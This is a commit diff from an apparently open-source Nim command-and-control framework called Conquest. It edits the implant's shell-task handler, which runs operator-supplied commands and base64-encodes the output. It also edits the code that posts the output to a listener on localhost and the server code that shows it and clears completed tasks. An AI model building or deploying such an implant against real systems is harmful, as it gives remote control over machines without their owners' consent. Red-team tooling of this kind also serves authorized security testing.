Fix formatting for multi-line command output and delete tasks after completion.
This commit is contained in:
@@ -45,7 +45,6 @@ proc main() =
|
|||||||
# Execute all retrieved tasks and return their output to the server
|
# Execute all retrieved tasks and return their output to the server
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
let result = task.handleTask()
|
let result = task.handleTask()
|
||||||
|
|
||||||
discard postResults(listener, agent, result)
|
discard postResults(listener, agent, result)
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
|
|||||||
@@ -1,10 +1,14 @@
|
|||||||
import winim, osproc, strutils
|
import winim, osproc, strutils, strformat
|
||||||
|
|
||||||
import ../types
|
import ../types
|
||||||
|
|
||||||
proc taskShell*(command: seq[string]): TaskResult =
|
proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] =
|
||||||
|
|
||||||
echo command.join(" ")
|
echo "Executing command: ", command.join(" ")
|
||||||
let (output, status) = execCmdEx(command.join(" "))
|
|
||||||
|
try:
|
||||||
return output
|
let (output, status) = execCmdEx(command.join(" "))
|
||||||
|
return (output, Completed)
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||||
@@ -26,7 +26,7 @@ proc register*(listener: string): string =
|
|||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] [REGISTER FAILED]:", err.msg
|
echo "[-] [register]:", err.msg
|
||||||
quit(0)
|
quit(0)
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
@@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
|
echo "[-] [getTasks]:", err.msg
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
|
|
||||||
@@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool =
|
|||||||
|
|
||||||
let taskJson = %task
|
let taskJson = %task
|
||||||
|
|
||||||
|
echo $taskJson
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
echo "[-] [RESULTS FAILED]:", err.msg
|
echo "[-] [postResults]: ", err.msg
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import base64
|
||||||
import ./types
|
import ./types
|
||||||
import ./commands/commands
|
import ./commands/commands
|
||||||
|
|
||||||
@@ -7,16 +8,16 @@ proc handleTask*(task: Task): Task =
|
|||||||
case task.command:
|
case task.command:
|
||||||
of ExecuteShell:
|
of ExecuteShell:
|
||||||
|
|
||||||
let cmdResult = taskShell(task.args)
|
let (output, status) = taskShell(task.args)
|
||||||
echo cmdResult
|
echo output
|
||||||
|
|
||||||
return Task(
|
return Task(
|
||||||
id: task.id,
|
id: task.id,
|
||||||
agent: task.agent,
|
agent: task.agent,
|
||||||
command: task.command,
|
command: task.command,
|
||||||
args: task.args,
|
args: task.args,
|
||||||
result: cmdResult,
|
result: encode(output), # Base64 encode result
|
||||||
status: Completed
|
status: status
|
||||||
)
|
)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import terminal, strformat, strutils, sequtils, tables, json, times
|
import terminal, strformat, strutils, sequtils, tables, json, times, base64
|
||||||
import ./interact
|
import ./interact
|
||||||
import ../[types, globals, utils]
|
import ../[types, globals, utils]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
@@ -163,8 +163,15 @@ proc handleResult*(listener, agent, task: string, taskResult: Task) =
|
|||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
|
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
|
||||||
cq.writeLine(taskResult.result)
|
|
||||||
|
if taskResult.result != "":
|
||||||
|
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Output:")
|
||||||
|
|
||||||
# TODO: Remove completed task from the queue
|
# Split result string on newline to keep formatting
|
||||||
|
for line in decode(taskResult.result).split("\n"):
|
||||||
|
cq.writeLine(line)
|
||||||
|
|
||||||
|
# Update task queue to include all tasks, except the one that was just completed
|
||||||
|
cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -9,7 +9,7 @@ var parser = newParser:
|
|||||||
help("Conquest Command & Control")
|
help("Conquest Command & Control")
|
||||||
|
|
||||||
command("shell"):
|
command("shell"):
|
||||||
help("Execute a shell command.")
|
help("Execute a shell command and retrieve the output.")
|
||||||
arg("command", help="Command", nargs = 1)
|
arg("command", help="Command", nargs = 1)
|
||||||
arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
|
arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
|
||||||
|
|
||||||
@@ -44,6 +44,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
|||||||
arguments: seq[string] = opts.shell.get.arguments
|
arguments: seq[string] = opts.shell.get.arguments
|
||||||
arguments.insert(command, 0)
|
arguments.insert(command, 0)
|
||||||
cq.taskExecuteShell(arguments)
|
cq.taskExecuteShell(arguments)
|
||||||
|
|
||||||
|
|
||||||
# Handle help flag
|
# Handle help flag
|
||||||
except ShortCircuit as err:
|
except ShortCircuit as err:
|
||||||
@@ -52,7 +53,5 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
|||||||
|
|
||||||
# Handle invalid arguments
|
# Handle invalid arguments
|
||||||
except UsageError:
|
except UsageError:
|
||||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg(), "\n")
|
||||||
|
|
||||||
cq.writeLine("")
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user